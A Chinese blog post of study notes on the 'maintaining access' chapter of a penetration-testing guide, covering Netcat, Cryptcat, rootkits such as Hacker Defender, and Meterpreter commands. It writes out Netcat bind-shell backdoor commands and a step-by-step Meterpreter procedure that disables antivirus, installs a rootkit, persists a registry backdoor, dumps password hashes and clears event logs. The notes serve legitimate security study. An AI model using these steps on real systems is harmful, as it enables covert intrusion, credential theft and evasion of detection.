渗透测试实践-维持访问

本文是我阅读《渗透测试实践指南·第七章·维持访问》所做的笔记。

零、开始

  • 很多的漏洞利用都是暂时的
  • 后门是一个驻留在目标计算机上的软件,它使得攻击者随时返回(或连接)到目标计算机上
  • 现代攻击者对于长期甚至永久地访问目标系统和网络更感兴趣

一、Netcat:瑞士军刀

  • Netcat是一个允许通讯和流量从一台计算机流向另一台计算机的工具
  • Netcat既可以以服务器模式运行,也可以以客户端模式运行
  • 支持TCP和UDP协议,默认使用TCP,参数-u指定使用UDP
  • 监听TCP的1337端口:nc -l -p 1337(仅支持一个TCP连接)
  • 连接TCP的1337端口:nc 192.168.56.2 1337
  • 监听TCP的7777端口并将接受数据写入文件:nc -l -p 7777 > virus.exe
  • 连接TCP的7777端口并通过Netcat上传文件:nc 192.168.56.2 7777 < virus.exe
  • 绑定一个shell作为后门(linux):nc -l -p 12345 -e /bin/sh
  • 绑定一个shell作为后门(Windows):nc -L -p 12345 -e C:\Windows\System32\cmd.exe

二、Cryptcat:加密版Netcat

  • Netcat所有网络流量都是明文,易被嗅探
  • Cryptcat和Netcat命令几乎完全相同
  • Cryptcat使用twofish加密算法(这是个对称算法)
  • 默认秘钥:metallica,使用参数“-k”更换秘钥

三、Rootkit

  • 强大而诡秘
  • 可用于隐藏文件、进程、程序,如同它们从未出现过
  • 犹如孙悟空在生死簿上划掉了猴族的名字
  • root表示具有根权限,kit表示工具集合
  • Rootkit可以让操作系统撒谎
  • 检测Rootkit的工具:Rootkit Revealer、vice和Blacklight

四、Hacker Defender:超乎想象的Windows平台Rootkit

  • Hacker Defender是indows平台下易于理解和使用的Rootkit
  • 具有三个主要文件:
    • hxdef100.exe:在目标计算机上运行Hacker Defender
    • hxdef100.ini:配置文件
    • bdcli100.exe:用于连接Hacker Defender的客户端软件
  • 需要管理员权限
  • 中文使用说明

五、Meterpreter:无所不能

Meterpreter基本命令:

命令 功能
cat file_name 显示指定文件的内容
cd、rm、mkdir、rmdir 和传统Linux终端使用的命令和输出相同
clearev 清除目标计算机应用程序、系统和安全日志中报告的所有事件
upload 上传攻击机器上的指定文件到目标机器
download 从目标下载指定文件到本地主机(攻击机器)
edit 提供一个VIM编辑器,可以对文档进行更改
execute -file_name 运行/执行目标上的指定文件
getsystem 命令meterpreter尝试将权限提升到最高级
hashdump 定位和显示目标上的用户名和散列。这些散列可以复制到指定文件,供John the Ripper破解
idletime 显示机器不活动时间
keyscan_start 开始记录受害机器上的击键。注意:为了捕获击键,必须迁移到explorer.exe进程中
keyscan_dump 显示当前从目标计算机上捕获的击键。注意:必须先运行keyscan_start
keyscan_stop 停止记录用户击键
ps 显示目标上运行的所有进程
kill pid_number 停止(杀死)指定进程。进程ID可以运行ps命令找到
migrate 将meterpreter shell移到另一个运行中的进程。注意:这是需要了解的重要命令
screenshot 提供来自目标机器的屏幕截图
search -f file_name 在目标机器上搜索指定文件
sysinfo 提供目标机器的相关系统信息,包括计算机名、操作系统名、服务包级别等
reboot/shutdown 重启或关闭目标机器

一个Meterpreter在Windows上的使用实例:

  1. 进行漏洞利用,对目标使用Meterpreter攻击荷载
  2. 使用“migrate”命令将Meterpreter转移到那些不为人熟知的常见进程中。如:svchost.exe
  3. 使用“kill”命令关闭杀毒软件
  4. 使用“shell”命令访问目标机器的命令提示符,并使用“netsh advfirewall firewall”命令更改Windows防火墙设置,使连接或者端口可以开放
  5. 在杀毒软件关闭的情况下使用“upload”命令上传Rootkit和Netcat等工具
  6. 用“execute -f”命令安装rootkit
  7. 若rootkit没有后门,则用Netcat做后门,其中使用“reg”命令修改注册表,持久化Netcat后门
  8. 用“hashdump”命令转储密码散列,用John破解密码
  9. 用“edit”命令配置rootkit.ini文件,隐藏上传的文件、后门、新开端口和修改的注册表项等
  10. 从攻击机器建立到目标的新连接,测试上传的后门
  11. 用“clearev”命令清除事件日志
  12. 攻击下一个目标

六、结束

  • 尝试Netcat的现代版:Ncat和Socat
  • 要很小心地尝试Rootkit
  • 努力成为Meterpreter大师
  • 更多后门程序:Netbus、Back Oriffice和Subseven(Sub7)
  • 学无止境

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

6 − 4 =